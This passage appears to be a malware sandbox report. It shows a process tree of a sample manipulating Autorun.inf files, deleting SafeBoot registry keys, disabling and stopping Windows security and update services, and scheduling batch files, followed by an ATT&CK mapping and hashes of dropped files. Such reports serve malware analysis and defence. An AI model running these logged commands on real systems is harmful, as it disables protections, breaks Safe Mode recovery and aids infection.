    cmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d
    3⤵
    PID:3352
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r C:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:2360
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir C:\Autorun.inf /s /q
    3⤵
    PID:2988
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d
    3⤵
    PID:1804
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r F:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir F:\Autorun.inf /s /q
    3⤵
    PID:2952
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d
    3⤵
    PID:1968
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r C:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:2644
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir C:\Autorun.inf /s /q
    3⤵
    PID:948
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir F:\Autorun.inf /s /q
    3⤵
    PID:4188
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d
    3⤵
    PID:4216
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r F:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:400
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir C:\Autorun.inf /s /q
    3⤵
    PID:5088
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d
    3⤵
    PID:3704
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r C:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:3300
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir F:\Autorun.inf /s /q
    3⤵
    PID:4364
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d
    3⤵
    PID:756
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir C:\Autorun.inf /s /q
    3⤵
    PID:712
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d
    3⤵
    PID:3572
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d
    3⤵
    PID:4984
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r F:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:5100
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir F:\Autorun.inf /s /q
    3⤵
    PID:2304
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d
    3⤵
    PID:4704
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r C:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:2268
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir C:\Autorun.inf /s /q
    3⤵
    PID:404
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d
    3⤵
    PID:5004
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r F:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:3576
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir F:\Autorun.inf /s /q
    3⤵
    PID:4372
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d
    3⤵
    PID:4948
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r C:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:2956
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir C:\Autorun.inf /s /q
    3⤵
    PID:4244
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir F:\Autorun.inf /s /q
    3⤵
    PID:2044
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d
    3⤵
    PID:2092
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r F:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:2820
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir C:\Autorun.inf /s /q
    3⤵
    PID:1592
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d
    3⤵
    PID:1344
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir F:\Autorun.inf /s /q
    3⤵
    PID:2780
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r F:\Autorun.inf\*.* /s /d
    3⤵
    PID:4688
  - - C:\Windows\SysWOW64\attrib.exe
      attrib -s -h -r F:\Autorun.inf\*.* /s /d
      4⤵
      Views/modifies file attributes
      PID:4708
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c rmdir C:\Autorun.inf /s /q
    3⤵
    PID:1388
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c attrib -s -h -r C:\Autorun.inf\*.* /s /d
    3⤵
    PID:2920
- C:\Windows\SysWOW64\reg.exe
  C:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Network\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f
  2⤵
  PID:5104
- C:\Windows\SysWOW64\reg.exe
  C:\Windows\system32\reg.exe delete "hklm\SYSTEM\ControlSet001\Control\SafeBoot\Minimal\{4D36E967-E325-11CE-BFC1-08002BE10318}" /f
  2⤵
  PID:4236
- C:\Windows\SysWOW64\regedit.exe
  regedit.exe /s C:\Windows\regedt32.sys
  2⤵
  - Modifies visibility of file extensions in Explorer
  - Blocks application from running via registry modification
  - Sets file execution options in registry
  - Runs regedit.exe
  PID:1724
- C:\Windows\SysWOW64\sc.exe
  C:\Windows\system32\sc.exe config srservice start= disabled
  2⤵
  - Launches sc.exe
  PID:1796
- C:\Windows\SysWOW64\sc.exe
  C:\Windows\system32\sc.exe config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1344
- - C:\Windows\SysWOW64\attrib.exe
    attrib -s -h -r C:\Autorun.inf\*.* /s /d
    3⤵
    - Views/modifies file attributes
    PID:2452
- C:\Windows\SysWOW64\sc.exe
  C:\Windows\system32\sc.exe config SharedAccess start= disabled
  2⤵
  - Launches sc.exe
  PID:3156
- C:\Windows\SysWOW64\sc.exe
  C:\Windows\system32\sc.exe config srservice start= disabled
  2⤵
  - Launches sc.exe
  PID:1172
- C:\Windows\SysWOW64\net.exe
  net.exe stop 360timeprot /y
  2⤵
  PID:3856
- C:\Windows\SysWOW64\net.exe
  net.exe stop srservice /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4472
- C:\Windows\SysWOW64\net.exe
  net.exe stop wuauserv /y
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2952
- C:\Windows\SysWOW64\net.exe
  net.exe stop sharedaccess /y
  2⤵
  PID:2516
- C:\Windows\SysWOW64\net.exe
  net.exe stop wscsvc /y
  2⤵
  PID:3720
- C:\Windows\SysWOW64\cmd.exe
  cmd /c at 11:02:52 AM C:\Windows\Sysinf.bat
  2⤵
  PID:3880
- C:\Windows\SysWOW64\cmd.exe
  cmd /c at 10:59:52 AM C:\Windows\Sysinf.bat
  2⤵
  PID:216
- C:\Windows\SysWOW64\At.exe
  At.exe 11:00:50 AM C:\Windows\Help\HelpCat.exe
  2⤵
  PID:4132
- C:\Windows\SysWOW64\net.exe
  net.exe stop 360timeprot /y
  2⤵
  PID:2856
- C:\Windows\SysWOW64\net.exe
  net.exe stop srservice /y
  2⤵
  PID:1572
- C:\Windows\SysWOW64\net.exe
  net.exe stop wuauserv /y
  2⤵
  PID:4272
- C:\Windows\SysWOW64\net.exe
  net.exe stop sharedaccess /y
  2⤵
  PID:2388
- C:\Windows\SysWOW64\net.exe
  net.exe stop wscsvc /y
  2⤵
  PID:3952

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start schedule /y
1⤵
PID:2004

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wscsvc /y
1⤵
PID:3448
- C:\Windows\SysWOW64\net1.exe
  C:\Windows\system32\net1 stop wuauserv /y
  2⤵
  PID:2024

C:\Windows\SysWOW64\at.exe
at 11:02:52 AM C:\Windows\Sysinf.bat
1⤵
PID:1256

C:\Windows\SysWOW64\at.exe
at 10:59:52 AM C:\Windows\Sysinf.bat
1⤵
PID:4780

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wuauserv /y
1⤵
PID:1276

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop srservice /y
1⤵
PID:4504

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sharedaccess /y
1⤵
PID:1740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop 360timeprot /y
1⤵
PID:4176

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 start schedule /y
1⤵
PID:2024

C:\Windows\SysWOW64\net.exe
net.exe start schedule /y
1⤵
PID:3808

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c C:\Windows\system32\Option.bat
1⤵
PID:4456

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wscsvc /y
1⤵
PID:5068

C:\Windows\SysWOW64\at.exe
at 11:02:55 AM C:\Windows\Sysinf.bat
1⤵
PID:4508

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop 360timeprot /y
1⤵
PID:5024
- C:\Windows\SysWOW64\net1.exe
  C:\Windows\system32\net1 stop srservice /y
  2⤵
  PID:2304

C:\Windows\SysWOW64\attrib.exe
attrib -s -h -r F:\Autorun.inf\*.* /s /d
1⤵
- Views/modifies file attributes
PID:3152
- C:\Windows\SysWOW64\net1.exe
  C:\Windows\system32\net1 stop wscsvc /y
  2⤵
  PID:1740

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop srservice /y
1⤵
PID:3604

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sharedaccess /y
1⤵
PID:5068

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop 360timeprot /y
1⤵
PID:228

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop wuauserv /y
1⤵
PID:2732

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop sharedaccess /y
1⤵
PID:2684

C:\Windows\SysWOW64\at.exe
at 10:59:55 AM C:\Windows\Sysinf.bat
1⤵
PID:636

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
1⤵
- Suspicious use of WriteProcessMemory
PID:3720

C:\Windows\SysWOW64\attrib.exe
attrib -s -h -r F:\Autorun.inf\*.* /s /d
1⤵
- Views/modifies file attributes
PID:3120

C:\Windows\SysWOW64\attrib.exe
attrib -s -h -r C:\Autorun.inf\*.* /s /d
1⤵
- Views/modifies file attributes
PID:3156

C:\Windows\SysWOW64\attrib.exe
attrib -s -h -r C:\Autorun.inf\*.* /s /d
1⤵
- Views/modifies file attributes
PID:3668

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Replication Through Removable Media

T1091

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Replication Through Removable Media

T1091

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Windows\SysWOW64\Option.bat

Filesize
82B

MD5
3f7fbd2eb34892646e93fd5e6e343512

SHA1
265ac1061b54f62350fb7a5f57e566454d013a66

SHA256
e75e8d9bfc7a2876d908305186c3656e9de2a4af7f6927ccc6d8c812645abbc7

SHA512
53d40eb2f05a23464fbf06193868e7cb30cf0df3da53586a75123fb2c37b29cdddda287ce134809d16a559d87fb20aee0e8add22d396fcb7a55f9a753739b140

Download Submit
C:\Windows\Sysinf.bat

Filesize
460B

MD5
7db3d565d6ddbe65a8b0e093910e7dcd

SHA1
d4804e6180c6e74ba79d3343f2f2ccb15e502f12

SHA256
a2778cb87fd88c7508ffd506a8ff8d58d0ffc02156f846956e5e99c6cb3d2f3f

SHA512
0b3d1d0f44feba9dd78903ff77fdeaea834d930990a86641fb2e4ce04da280d33f6bee0ae0b1320e4070cbe20824062e45b52e5cad797c5985d8e31dce1ef82b

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C:\Windows\System\KavUpda.exe

Filesize
897KB

MD5
e8d9c2ebef2c4d5cdfef57f84a10d02e

SHA1
3244a924d6eb28470d7cd27996bccc2b79b1d085

SHA256
c1cf90188d6e98f8413983757d848c24f7864802ffa39fa5d336aef02d97e5c7

SHA512
c1ce7ec9493bb4b855172b9101062083c718dc5a902efc0d3485853ff22d1871319ede2b06f7eff00c8992d785f25d28702be8cccc00c24d05b275d78d5d2ed5

Download Submit
C:\Windows\System\KavUpda.exe

Filesize
384KB

MD5
ca3e2592b5147ced6f0a57b403b1a5bd

SHA1
48bb23a796992030fe5702eaa6a0f691d937c50c

SHA256
30fd29dfb58ee4a6bb25baff897c6f02a44bc9fd76cb947e2cf6ed5ab553d9e3

SHA512
f2901aa7074488556a09970ef28167341e2cdf9d344a79637dcf4f01b6351a1f56041f4e0d4527cdd59f723f5f680a56f4884bd773344a47f7ee856769f0301b

Download Submit
C:\Windows\regedt32.sys

Filesize
2KB

MD5
e7d7ec66bd61fac3843c98650b0c68f6

SHA1
a15ae06e1be51038863650746368a71024539bac

SHA256
6475d5ecc14fea090774be55723d2d52b7ec7670527a7dbd61edf28c77944cb8

SHA512
ac9e9893f5a0af03957731445f63279085f164e9a968d706a99d13012e4459314a7ccc32dc48f62379d69e21a0953c13543c9ded38b5ad5fbc346aa442af1ae6

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F:\Autorun.inf

Filesize
237B

MD5
94bcd02c5afd5918b4446345e7a5ded9

SHA1
79839238e84be225132e1382fae6333dfc4906a1

SHA256
5d9f41e4f886926dae2ed8a57807708110d3c6964ab462be21462bff0088d9a1

SHA512
149f6bd49fc3b62fa5f41666bfb3a58060514eec1b61c6aa1ac4c75417c840b028e701eb5533460eb00e2fee8543379564bc47d7477264771d81b99a0caab500

Download Submit
memory/2224-0-0x0000000000400000-0x0000000000436000-memory.dmp

Filesize
216KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads